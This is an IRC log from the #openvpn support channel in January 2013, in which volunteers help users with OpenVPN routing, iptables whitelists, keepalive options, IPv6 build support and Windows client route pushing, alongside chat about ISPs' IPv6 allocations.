05:18 < Minnebo> indeed
05:18 < Minnebo> i'll fix it and relog
05:18 <+pekster> Well, that won't cause a problem getting to that host, just if you wnated to reach other hosts in the /24
05:19 <+pekster> Chances are good it's a firewall issue if you have that route and it's still not working
05:22 < Minnebo> pekster, i think the problem is
05:22 < blackness-> if i set a var of IPs, how should it be? 0.0.0.0,1.1.1.1 ?
05:22 < Minnebo> that the server doenst know a route back?
05:23 <+pekster> fu_fu: I see nothing in that setup that would cause issues on re-keying or similar. The 'keepalive' directive gaurentees that the encapsulating tunnel is still running or that the peer will reconnect, and your ICMP ping from client -> server shows that bi-directional traaffic is flowing and being routed as expected
05:23 <+pekster> Your problem is simply not openvpn
05:23 <+pekster> blackness-: huh? I need some context here
05:23 < blackness-> i'll be using the var like this: iptables -A INPUT -i eth0 -p tcp -s $IPLIST --dport 2222 -j ACCEPT
05:24 <+pekster> Use ipset for that, or write unique rules for each IP (optionally put them them in your own user-defined chain to minimize processing time)
05:24 < blackness-> so a loop would be required if i did a ruleset per IP correct?
05:24 <+pekster> loop?
05:24 < blackness-> im not good enough to use ipset at this point
05:25 < blackness-> yeah, for i in $IPLIST; do ipfilter rule here; done
05:25 < blackness-> which that loop would replace the single --dport 2222 line ofc.
05:25 <+pekster> If you'd like, sure. I don't apply my rules like that and use iptables-restore to load my rules
05:26 < blackness-> welp, time to get to writing a loop :)
05:26 <+pekster> fu_fu: I don't mind keeping your private configuration in a PM, but don't ask me questions there. I'm not your personal paid support, and this channel has other people who can help, and may see something I don't. Plus I don't like answering questions in private that don't have a chance to benefit other people
05:27 <+pekster> !topsecret
05:27 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
05:27 < Minnebo> !route
05:27 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
05:28 < Minnebo> !tcpip
05:28 <+pekster> Really your config has nothing to identify you beyond your commented out local IP anyway (and you can just remove comments if you'd like, or even mask your public IP if it wasn't commented. masking isn't preferred, but if you do it in a limited fashion no one usually minds much)
05:28 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
05:29 <+pekster> blackness-: A better way to do that is to use a match like -i $iface -p tcp --dport 1234 -j whitelist
05:29 <+pekster> Of course, you need to create a 'whitelist' chain first
05:29 <+pekster> Then just add rules there mathcing -s $ip1 -j ACCEPT
05:29 <+pekster> $ip2, etc, etc
05:29 <+pekster> But ipset is faster to do that if you have dozens, hundreds, or even thousands of IPs to do that with
05:31 < Minnebo> what is the difference between push "route 192..." and just route 192...
05:32 <+pekster> The push sends it to the client (assuming it specifies 'pull' or 'client' in its config) while the route command adds a route to the system where that config is at
05:32 < Minnebo> I think that is the problem no?
05:32 < blackness-> oh its just 4 IPs..my known IPs infact.
05:33 < Minnebo> my server has no route to answer?
05:34 <+pekster> Minnebo: What? You're pushing a route to the IP/netwnork your server is already on
05:34 <+pekster> What are you trying to do? Just route to 192.168.100.1/32 via the VPN? If the server alreaady owns that IP, you just need to push the /32 route and you're done
05:35 < Minnebo> I have: push "route 192.168.100.1/32 255.255.255.0"
05:35 < Minnebo> but should I add
05:35 < Minnebo> route 10.8.0.0 255.255.255.0 in the server config?
05:35 < fu_fu> does OpenVPN offer paid professional support?
05:35 <+pekster> You can't use CIDR
05:36 <+pekster> 192.168.100.1 255.255.255.255
05:36 <+pekster> That's a /32 host netmask
05:36 <+pekster> !cidr
05:36 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
05:36 <+rob0> fu_fu, I think they do, look at their web page. It might only be for OpenVPN Access Server, however.
05:36 < Minnebo> from the server I cannot ping to my client
05:36 < Minnebo> so it has no route i think
05:36 < Minnebo> :p
05:36 <+pekster> How are you trying to ping it? Via VPN IP?
05:37 < Minnebo> local
05:37 < Minnebo> no yes
05:37 < Minnebo> the dhcp ip I get from the openvpn
05:37 <+pekster> Then it's your firewall that's a problem
05:37 < Minnebo> damn
05:38 <+pekster> You don't usually need to ping the client from the server to get access to resources on the server that the client initiates. Not if your firewall is set up in a sane way
05:38 < Minnebo> i'll test an fwd-accept-all
05:39 <+pekster> Let me put it this way: if you can ping from client to whatever server-side IP you want and verify (via tcpdump or wireshark or whatever) that it's actually going across the VPN tunnel, then anything else after that is your firewall config
05:39 <+pekster> If you can't ping your target, you either have a routing or firewall problem
05:44 -!- Inst [blackfores@unaffiliated/inst] has joined #openvpn
05:44 < Inst> hi!
05:44 < Inst> <#
05:44 < Inst> http://community.openvpn.net/openvpn/wiki/TrafficObfuscation
05:44 <@vpnHelper> Title: TrafficObfuscation – OpenVPN Community (at community.openvpn.net)
05:45 < blackness-> what about it?
05:46 < Inst> just wondering if anyone has any experience with it
05:46 < holmen> !cidr
05:46 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
05:46 -!- Inst [blackfores@unaffiliated/inst] has left #openvpn ["Leaving"]
05:46 -!- bakery [~qjkh@124.248.205.28] has joined #openvpn
05:48 < bakery> oh, hey, it appears the gov manually blocked my IP
05:48  * bakery facepalms
05:50 <+pekster> heh. You're "interesting" now :P
05:50 <+pekster> Lousy cencorship :(
05:51 < bakery> they did this to me twice
05:51 < bakery> i'm wondering if my VPS providers are going to start bitching at me because I get their expensive IPs blocked
05:54 < Minnebo> pekster,
05:54 < Minnebo> my fucking god :D
05:54 < Minnebo> i open internet
05:55 < Minnebo> and navigate to 192.168.100.1 and I get an interface of a modem O_o
05:55 < Minnebo> :D
05:55 < Minnebo> i'll test this at home again
05:55 <+pekster> Told you it was probably an upstream IP that was another 192.168.100.1
05:55 <+pekster> RFC1918 lets anyone use the private IP space for any purpose
05:56 < Minnebo> but i dont get it, my route says to use another gw
05:56 < Minnebo> then why does he still reach this modem page: p
05:56 <+pekster> That's why I said to trace the ping from the client to make sure it's going over the right interface
05:56 <+pekster> If it doesn't your routing is screwed up
05:57 -!- bakedin [SouthOfThe@216.131.64.53] has joined #openvpn
05:57 <+pekster> If it does, then follow the packet to make sure it's getting to the peer at the other end of the tunnel
05:57 < Minnebo> with wireshark
05:57 <+pekster> Sure
05:57 < Minnebo> k
05:57 -!- bakery [~qjkh@124.248.205.28] has quit [Ping timeout: 260 seconds]
05:57 < Minnebo> well gtg now visit some customers i'll look at this again tonight!
05:58 < Minnebo> thx for your help
06:02 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has quit [Quit: Changing server]
06:02 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has joined #openvpn
06:02 -!- Minnebo [~Minnebo@office.exabyte.be] has quit [Ping timeout: 260 seconds]
06:23 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has quit [Quit: leaving]
06:26 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has joined #openvpn
06:27 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
06:46 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
06:50 -!- bakedin [SouthOfThe@216.131.64.53] has quit [Ping timeout: 252 seconds]
06:50 -!- blackness- [black@199.175.53.115] has quit [Ping timeout: 264 seconds]
06:50 -!- bakery [blackfores@216.131.70.179] has joined #openvpn
06:53 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 245 seconds]
06:55 -!- bakery [blackfores@216.131.70.179] has quit [Ping timeout: 245 seconds]
06:56 -!- bakery [~qjkh@124.248.205.28] has joined #openvpn
06:56 -!- tuxick [~userMurf@tuxick.xs4all.nl] has joined #openvpn
06:56 < tuxick> lo
06:56 <@ecrist> good morning
06:56 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
06:57 < tuxick> on ubuntu trying to use update-resolv-conf, but getting "Failed running command ( --up/--down): could not execute external program"
06:57 < tuxick> without any clue/explanation. script is executable of course
06:57 <@ecrist> so, the update-resolv-conf script isn't working
06:57 < tuxick> it lacks some verbosity :)
06:57 <@ecrist> have you tried executing it as the user you run the openvpn process as?
06:58 < tuxick> starting it as root
06:58 <@ecrist> let me see your config
06:58 < tuxick> added an 'echo FOO' to that script, i only see that echo when i run ./update-resolv-conf
06:59 < tuxick> well, config works, except the "up /etc/openvpn/update-resolv-conf" bit
06:59 <@ecrist> config, please
06:59 <@ecrist> also, an ls -l update-resolv-conf
07:00 < tuxick> world executable
07:00 < tuxick> sec for config
07:00 <@ecrist> I'd like to see the output, please
07:01 < tuxick> -rwxr-xr-x
07:01 <@ecrist> you're not very good at following directions
07:02 < tuxick> it's on my netbook, which is busy, paste will take a bit
07:02 <@ecrist> meh, I've got other things to do
07:04 < tuxick> i'll doublecheck when system update is done :)
07:07 -!- blackness- [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
07:07 -!- blackness- [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Client Quit]
07:08 -!- bauruine [~stefan@91.236.116.112] has quit [Quit: Leaving]
07:39 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
07:57 -!- sukosevato [sukosevato@a202101.upc-a.chello.nl] has joined #openvpn
08:33 -!- gustavoz [~gustavoz@host212.200-82-114.telecom.net.ar] has joined #openvpn
08:34 < gustavoz> hi, a quick question i couldn't find a quick answer to, are non-ipv6 builds deprecated for 2.3+ ?
08:38 < plaisthos> gustavoz: there are no non ipv6 builds
08:39 < gustavoz> plaisthos: ok thanks, then i guess the answer is yes :)
08:39 < plaisthos> basically 2.2 had no or only limited ipv6 support and 2.3 has ipv6 support
08:40 < gustavoz> exactly, i could build 2.2.x on a non-ipv6 enabled toolchain, but on 2.3 that option is missing
08:40 < plaisthos> gustavoz: You have not ipv6 enabled toolchain?
08:41 < gustavoz> plaisthos: sure, on buildroot we give that option when possible, that's the reason for my question, at the moment it doesn't seem possible without patching around, probably a lot
08:42 < plaisthos> gustavoz: what is that? SunOS 4.x?
08:42 < gustavoz> plaisthos: a tool for building embedded linux root filesystems / firmwares / whatever
08:43 < plaisthos> gustavoz: but these still have the ipv6 library functions
08:43 < gustavoz> plaisthos: on uClibc not necessarily
08:43 < plaisthos> not ipv6 enabled toolchain I would except to miss functions like getaddrinfo
08:43 -!- Orbi [~opera@anon-186-110.vpn.ipredator.se] has quit [Quit: Orbi]
08:44 < gustavoz> since it's tailored to be really small when the libc is configured for non-ipv6 builds some structures are missing too
08:44 < gustavoz> for instance in6_pktinfo
08:45 < gustavoz> s/instance/example/ :)
08:46 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
08:48 < plaisthos> Yeah. There is no ipv4 only version of openvpn in 2.3
08:48 < plaisthos> time to move on ;)
08:48 < gustavoz> cool, thanks, i'm not about to bitch about it, just wanted to know :)
08:49 < gustavoz> the option is given when possible, there are no guarantees for future versions
08:49 < gustavoz> it's not like you can build Qt without a full C++ toolchain for example
08:55  * tuxick mumbles about addrinfo
08:55 < plaisthos> tuxick: ?!
08:57 <+pekster> gustavoz: IPv6 should work fine on ulibc; OpenWRT uses that on its backend and supports IPv6
08:58 <+pekster> Maybe that project can offer hints as to the linking required for OpenVPN to build against it? I haven't looked at the kernel code on recent OpenWRT versions to see if they had to make adjustments or not, but it sounds like it's doable. If OpenVPN won't build cleanly, I'm sure patches or discussion on the dev mailing list would be appreciated
08:58 < tuxick> plaisthos: nevermind :)
09:00 < gustavoz> pekster: yes that's true, it's just that buildroot is more option-Y for the toolchain than openwrt
09:00 <+pekster> Sure. And if your buildroot lacks support you have lower-level issues to fix first
09:00 <+pekster> I'm just suggesting a place to start if you want to see how a project has managed ulibc in particular with IPv6 given that they're both targeted to embedded systems
09:01 < gustavoz> it's just a matter of accounting for it in Kconfig, hence my question if it's intended or just broken
09:01 <+pekster> Sure
09:02 < gustavoz> i'm all for ipv6 support by default, just covering my ass so to speak when some freaky asks about why
09:02 <+pekster> "Because IPv4 is busted" is a nice answer ;)
09:03 <+pekster> IMO it's foolish to design or publish a system thesedays without IPv6 support available. Maybe not active if you're part of the large IPv4-only Internet still, but the age is coming to an end ;)
09:03 < gustavoz> it's like the non-crypto option being gone (!openssl & !polarssl), it's a damn vpn package, you WANT crypto
09:03 <+pekster> Right. GRE or IPIP is for tunneling without crypto :P
09:04  * pekster is greatly looking forward to the day when everything is more or less globally uniquely identifiable. It'll be just like the 1980's all over again :D
09:05 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
09:09 < gustavoz> heh, i wish my ISP would have IPv6 connectivity, it's like the dark ages here
09:09 < plaisthos> gustavoz: don't wish for it
09:09 < plaisthos> one provider here now gives its customers IPv6 because they are running out of IPv4
09:09 < plaisthos> and you get Dualstack lite
09:13 < gustavoz> ouch!
09:15 < tuxick> when i requested a /64 for office ISP told me they could only give me 64 addresses
09:16 < tuxick> assuming i had some sales clown on phone, but it turned out correct
09:16 <+pekster> wow, that's nuts
09:16 < tuxick> "sorry that's all we can do now"
09:16 <+pekster> The recommendation is a /64 or even a /58 for *residential* netwnorks
09:16 < tuxick> i have native /64 for my home dsl :)
09:16 <+pekster> And larger for offices
09:16 < tuxick> ye
09:17 <+pekster> One thing I'm hoping we don't see is segregated tiers of IPv6 "service" where the lower tiers just give you a handful of IPs for home devices (say a /120 or something) and they have you pay a "premium" for proper IPv6 access
09:18 <+rob0> We WILL see. Greed, ignorance and incompetence are the rule.
09:18 < tuxick> idd
09:18 <+hazardous> my isp gives /56
09:19 <+pekster> One of the "good guys" then
09:19 -!- Minnebo [~Minnebo@office.exabyte.be] has joined #openvpn
09:25 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
09:27 -!- Devastator [~devas@186.214.14.9] has joined #openvpn
09:31 -!- Devastator [~devas@186.214.14.9] has quit [Changing host]
09:31 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:35 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
09:42 -!- cornfeed [~cornfeed@unaffiliated/cornfeed] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
09:53 < plaisthos> tuxick: 64 addresses?!
09:53 <+hazardous> pekster: rdns too! and static ips! and v4 subnets! and symmetrical
09:53 <+hazardous> this has made me hate normal 'big monopoly' isps so much
09:54 < tuxick> plaisthos: ye, i was convinced some sales manager misunderstood the 64 bit
09:56 <+hazardous> 07:16:00 < tuxick> assuming i had some sales clown on phone, but it turned out correct
09:56 <+hazardous> i've had some sales guy at comcast tell me each ipv6 was subject to the same $5/IP/month charge for static ipv6 single addresses
09:57 < tuxick> haha
09:58 <+rob0> And Comcast is among the ipv6 leaders. In the organization they probably do have ipv6 clue. But the suits run the show, and they're going to milk every possible penny out of it.
10:01 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
10:01 < plaisthos> tuxick: that sound like a mixup between /64 and 64 ips and then someone forced the technicans to really do 64 ips
10:02 <+pekster> $5/ip/mo? haha
10:03 < tuxick> no, in the end i got someone on phone who explained they just didn't have the right hardware yet
10:03 <+pekster> python tells me: >>> 2**64*5
10:03 <+pekster> 92233720368547758080
10:03 <+pekster> Imagine them sending you a bill for that :P
10:03 < tuxick> but maybe that was a poor tech just covering for management idiots
10:03 <+pekster> Plus your monthly service cost :P
10:22 -!- master_of_master [~master_of@p57B54C0D.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
10:24 -!- Porkepix_ [~Porkepix@ppp-seco11pa2-46-193-142.4.wb.wifirst.net] has joined #openvpn
10:24 -!- master_of_master [~master_of@p57B52905.dip.t-dialin.net] has joined #openvpn
10:24 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:25 -!- Porkepi__ [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
10:25 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 248 seconds]
10:25 -!- Porkepi__ is now known as Porkepix
10:27 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
10:28 -!- Porkepix_ [~Porkepix@ppp-seco11pa2-46-193-142.4.wb.wifirst.net] has quit [Ping timeout: 255 seconds]
10:29 -!- gustavoz [~gustavoz@host212.200-82-114.telecom.net.ar] has quit [Quit: Leaving]
10:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:32 -!- Minnebo [~Minnebo@office.exabyte.be] has quit [Ping timeout: 264 seconds]
10:48 < genghi1> hi… I noticed that when using learn-address, the $3 parameter is not preserved when a client is disconnecting, only connecting.  Is that a known issue?
10:50 <+pekster> genghi1: That's intended behaviour according to the manpage. What's your use-case for wanting it on a delete action?
10:54 < genghi1> well… I can certainly do without it, but it would just make my iptables management easier if it was there
10:54 < genghi1> it is not really a problem for me
10:54 < genghi1> I was inserting the cn name into the comments for the rules
10:55 <+pekster> Why do you need to care about the comment when deleting them?
10:55 < genghi1> I was deleting them the lazy way by matching the rule itself and not the rule number.
10:55 < genghi1> that requires matching the comment too
10:55 -!- bakedin [~qjkh@111.192.134.20] has joined #openvpn
10:56 <+pekster> Oh. Well, don't use a comment then? :)
10:56 -!- bakery [~qjkh@124.248.205.28] has quit [Ping timeout: 260 seconds]
10:57 <+pekster> Or use a creative scripting solution to store it in a temp file and reference it by IP. I'd just do without it personally
10:57 < genghi1> heh, I'll add a comment but use awk or something to re-process the rules to delete them by rule number
10:57 < genghi1> no biggie
11:00 -!- bakedin [~qjkh@111.192.134.20] has quit [Ping timeout: 245 seconds]
11:02 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
11:03 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
11:04 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 264 seconds]
11:06 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 276 seconds]
11:09 < con3x> Woo, finally solved my problem
11:10 -!- raidz_away is now known as raidz
11:10 < con3x> Apparently I needed to add "route-nopull" to my config and just configure all my routes automatically
11:11 < con3x> /s/automatically/manually
11:12 <+pekster> Well, it's automatic after you manually script it :P
11:14 < con3x> Yeah :) I wrote a python script to do the DNS lookups :P need to do some packet inspection to see what pandora and hulu talk to now.
11:15 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
11:15 < fu_fu> hi
11:15 < con3x> hi fu_fu.
11:17 < fu_fu> can "—ping-exit n" be used in the current version? and can it be used on the client side, or was it replaced "keepalive"? should keepalive be used on the client side?
11:17 < fu_fu> ^^ i mean —ping-restart
11:18 < fu_fu> from the manpage it looks like keepalive is the new way to do it, maybe i just need to know if you have to put it on both sides
11:20 <+pekster> fu_fu: --ping needs to be on the opposite side from a --ping-restart or --ping-exit option
11:21 <+pekster> --keepalive is just a helper-directive to set both at once with values as described in the manpage; it's a helper-directive that expands to others
11:21 < fu_fu> thx for the clarification
12:25 -!- b1rkh0ff [~b1rkh0ff@178.77.8.47] has quit [Ping timeout: 252 seconds]
12:32 -!- Orbi [~opera@anon-186-110.vpn.ipredator.se] has joined #openvpn
12:38 -!- b1rkh0ff [~b1rkh0ff@178.77.1.200] has joined #openvpn
12:48 -!- nutron|w [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
13:03 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 276 seconds]
13:06 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
13:27 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:31 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
13:50 -!- pelle2 [~p@178-132-78-93.cust.azirevpn.net] has quit [Ping timeout: 276 seconds]
13:51 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
13:51 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
13:51 -!- mode/#openvpn [+o novaflash] by ChanServ
13:59 -!- deed02392 is now known as Daedy
14:01 -!- Orbi [~opera@anon-186-110.vpn.ipredator.se] has left #openvpn []
14:09 <+hazardous> goodbye orbi.
14:24 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has joined #openvpn
14:26 -!- sukosevato is now known as Cpt-Oblivious
14:36 -!- genghi1 [~Adium@p5089BF98.dip.t-dialin.net] has quit [Quit: Leaving.]
14:45 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
15:13 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:23 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:25 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
15:35 -!- pekster [~rewt@openvpn/user/pekster] has quit [Ping timeout: 255 seconds]
15:35 -!- pekster [~rewt@openvpn/user/pekster] has joined #openvpn
15:35 -!- mode/#openvpn [+v pekster] by ChanServ
15:37 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
15:38 -!- nutron|w [~nutron@24.67.96.21] has quit [Changing host]
15:38 -!- nutron|w [~nutron@unaffiliated/nutron] has joined #openvpn
15:41 -!- nutron is now known as Guest25591
15:44 -!- nutron|w is now known as nutron
15:51 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- In tests, 0x09 out of 0x0A l33t h4x0rz prefer it :)]
15:52 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
15:52 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0/20130104151925]]
15:56 < dioz> for server bridge
15:56 < dioz> in the instance there is only one client
15:56 < dioz> and one ip in the ``pool''
15:57 < dioz> can i use server-bridge 10.8.0.4 255.255.255.0 10.8.0.4 10.8.0.4
16:14 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:28 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has joined #openvpn
16:59 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:01 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
17:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
17:18 -!- Devastator [~devas@186.214.14.9] has joined #openvpn
17:18 -!- Devastator [~devas@186.214.14.9] has quit [Changing host]
17:18 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:22 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
17:37 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
17:40 -!- blackness [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
17:40 < blackness> to set a list of IPs for the allowed connection, should i allow * via the program and filter iptables or the other way around?
17:41 <+hazardous> why not both?
17:41 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has left #openvpn []
17:41 < blackness> little wasteful don'tcha think?
17:42 < blackness> plus does the .conf accept CIDR settings?
17:55 -!- ddaydj [~ddaydj@rrcs-66-91-144-147.west.biz.rr.com] has joined #openvpn
17:57 < ddaydj> hello. so is there a trick to get the community client to push routes on windows without running as admin?
17:59 < ddaydj> i can connect to the vpn with the community client, but no routes unless i run as admin. i've used the access server client with another vpn and that pushes routes, but for some reason, i can't connect to this new vpn server i setup with that client
18:03 < blackness> what about disabling ACL's?
18:03 < blackness> or set the program to run as admin by default?
18:07 < ddaydj> that would still require an admin password that the user won't have
18:08 < blackness> no it wont, you add the program into the ACL..unless you have some weird setup..only time i use windows is when i fix others computers lol.
18:10 < ddaydj> i'm not sure how well that will work. i'll look into it tho
18:10 < ddaydj> some of the client computers will not be ones that are adminstrated by other companies so i'm not sure how they'll like that idea
18:11 < ngharo> i'd setup the VPN on a gateway then
18:11 < ddaydj> the server? or the client?
18:12 -!- b1rkh0ff [~b1rkh0ff@178.77.1.200] has quit [Ping timeout: 248 seconds]
18:12 < ngharo> client
18:12 < ddaydj> like set it as the default gateway on the workstation?
18:12 < ngharo> like connect the default gateway up to your vpn server
18:13 < ddaydj> that's not an option. my clients are going to be laptops at people's home and workstations inside vendors' networks
18:14 < ngharo> i see
18:14 -!- brute11k [~brute11k@89.249.235.236] has quit [Quit: Leaving.]
18:15 < ngharo> http://openvpn.net/index.php/open-source/documentation/install.html?start=1
18:15 <@vpnHelper> Title: Installation Notes - Installation (Win32) (at openvpn.net)
18:15 < ngharo> describes running openvpn as a service
18:16 < ddaydj> i'm familiar with doing that, but that's an always on thing. limited users accounts can't start and stop services
18:17 -!- Cpt-Oblivious [sukosevato@a202101.upc-a.chello.nl] has quit []
18:17 < ddaydj> in the case of the access server client, it has a service installed which i think is what it uses to push the routes when connecting from a limited user account
18:17 < ddaydj> afk for a minute
18:22 < ddaydj> so can you guys help with troubleshooting the access server client? or is that the other channel?
18:29 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Read error: Operation timed out]
18:29 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
18:41 -!- ddaydj [~ddaydj@rrcs-66-91-144-147.west.biz.rr.com] has quit []
18:45 -!- donhoe [~jeepers@c-69-247-138-234.hsd1.tn.comcast.net] has joined #openvpn
18:52 -!- ikonia [~irc@unaffiliated/ikonia] has quit [Read error: Operation timed out]
18:52 -!- ikonia [~irc@unaffiliated/ikonia] has joined #openvpn
19:12 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection reset by peer]
19:31 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
19:54 < ngharo> !as
19:54 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
19:57 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:57 -!- raidz is now known as raidz_away
20:06 -!- p3rror [~mezgani@2001:0:53aa:64c:2cea:7a37:d673:480f] has joined #openvpn
20:11 -!- holmen_ [~holmen@h-30-250.a176.priv.bahnhof.se] has joined #openvpn
20:14 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has quit [Ping timeout: 260 seconds]
20:17 -!- EugeneKay [eugene@go-without.me] has quit [Remote host closed the connection]
20:18 -!- EugeneKay [eugene@go-without.me] has joined #openvpn
20:36 <+dvl> http://dan.langille.org/2013/01/15/how-not-to-order-ram-for-your-motherboard/
20:53 < EugeneKay> I've done that.
20:56 -!- p3rror [~mezgani@2001:0:53aa:64c:2cea:7a37:d673:480f] has quit [Ping timeout: 260 seconds]
21:55 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
21:56 < kunji> !welcome
21:56 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:56 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:56 < kunji> !goal
21:56 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:56 < kunji> !howto
21:56 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:58 < kunji> !route
21:58 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
21:59 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
23:26 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
23:28 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
23:50 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
23:52 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 246 seconds]
23:55 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
23:58 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 245 seconds]
--- Day changed Wed Jan 16 2013
00:06 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
00:09 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 248 seconds]
